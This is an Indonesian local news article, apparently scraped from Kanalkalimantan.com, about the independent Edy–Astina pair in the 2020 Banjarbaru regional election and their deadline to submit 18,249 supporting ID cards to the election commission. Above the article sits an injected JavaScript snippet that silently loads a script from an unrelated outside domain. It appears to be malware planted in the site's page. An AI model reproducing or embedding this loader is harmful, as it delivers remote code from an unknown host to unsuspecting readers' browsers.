(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Senin (27/7/2020) pukul 24.00 Wita, menjadi batas akhir bagi duet Edy Saifuddin-Astina Zuraidah untuk menyerahkan dan melengkapi KTP dukungan perbaikan, jika ingin maju dalam kontesasi Pilkada 2020 di Banjarbaru melalui jalur perseorangan.
Tapi hingga jelang pukul 22.00 Wita, Edi-Astina belum muncul ke KPU Banjarbaru.
Hasil rekapitulasi beberapa waktu lalu yang diumumkan oleh KPU Banjarbaru menyatakan adanya kekurangan dukungan lebih dari 50 persen, membuat Edy-Astina harus memenuhi ‘denda suara’ sebanyak 18.249 dukungan KTP pada malam ini.
Ketua KPU Banjarbaru, Hegar Wahyu Hidayat, menyatakan hingga pada pukul 22.00 Wita, ribuan KTP dukungan itu belum diserahkan. Ia menjelaskan pihak Edy-Astina memang sempat mendatangi kantor KPU Banjarbaru dan mengklaim telah mengantongi 18.249 KTP dukungan yang siap diserahkan.
“Saat kita tanya apakah jumlah sudah lengkap, dari pihak bakal calon mengaku ada beberapa KTP yang tertinggal. Karena jumlah KTP itu belum lengkap, maka kita tidak bisa memprosesnya,” katanya saat dihubungi Kanalkalimantan.com, melalui telefon, Senin (27/7/2020) malam.
Hegar menuturkan bahwa pihaknya masih tetap akan menunggu penyeran syarat KTP dukungan itu hingga batas waktu yang telah ditentukan yakni pukul 24.00 Wita. Jika nantinya KTP itu sudah diserahkan, maka pihak KPU akan segera melakukan verifikasi apakah sudah memenuhi syarat atau tidak.
“Batas penyerahan KTP dukungan itu memang sampai malam ini saja. Kalau sudah kita terima, maka akan kita proses. Hasilnya akan diumumkan jika verifikasi sudah selesai. Kita tidak bisa menargetkan kapan hasilnya keluar, karena tergantung proses itu sendiri,” kata Hegar.
Sebelumnya, menurut data yang dirilis oleh KPU Banjarbaru, Selasa (21/7/2020) siang, dukungan KTP sebagai salah satu syarat maju di jalur independen, yang telah dikumpulkan oleh pasangan yang mengusung jargon Banjarbaru “Bersinergi’ tersebut, ditemukan masalah dukungan.
Edy-Astina yang sebelumnya telah menyerahkan 16.000 KTP sebagai syarat maju pencalonan di jalur independen, tak berhasil memenuhi jumlah yang dinyatakan memenuhi syarat. Sebab, saat verifikasi adminitrasi jumlah itu menyust menjadi 14.247 KTP, lantaran adanya berbagai masalah.
Seperti halnya KTP ganda, berstatus pekerjaan seperti TNI, Polri, PNS dan penyelenggara pemilu.
Belum sampai disitu, 14.247 KTP tersebut kemudian diproses kembali dalam tahapan verifikasi faktual hingga tahapan rekapitulasi. Dari total keseluruhan dukungan itu, yang memenuhi syarat (MS) nyatanya hanya 6.488 KTP saja. Artinya Edy-Astina masih kekurangan sebanyak 9.147 KTP.
Walhasil, Edy-Astina harus melakukan perbaikan untuk memenuhi syarat minimum. Sesuai dengan aturan, pasangan Edy-Astina wajib menyerahkan KTP saat perbaikan dengan jumlah 2 kali lipat dari selisih kekurangan.
“Yang memenuhi syarat ada 6.488 KTP saja, sehingga calon perseorangan kekurangan dukungan sebanyak 9.147 KTP. Nah, jumlah kekurangan dikali 2 kali lipat. Artinya saat perbaikan nanti, calon perseorangan mau tidak mau harus kembali mencari tambahan dukungan hingga mencapai 18.249 KTP dan diserahkan ke kita,” lanjut Ketua KPU Banjarbaru.
—————
Red: Berita ini telah mengalami perbaikan judul karena adanya pembaruan informasi di lapangan. Terima kasih.
(Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.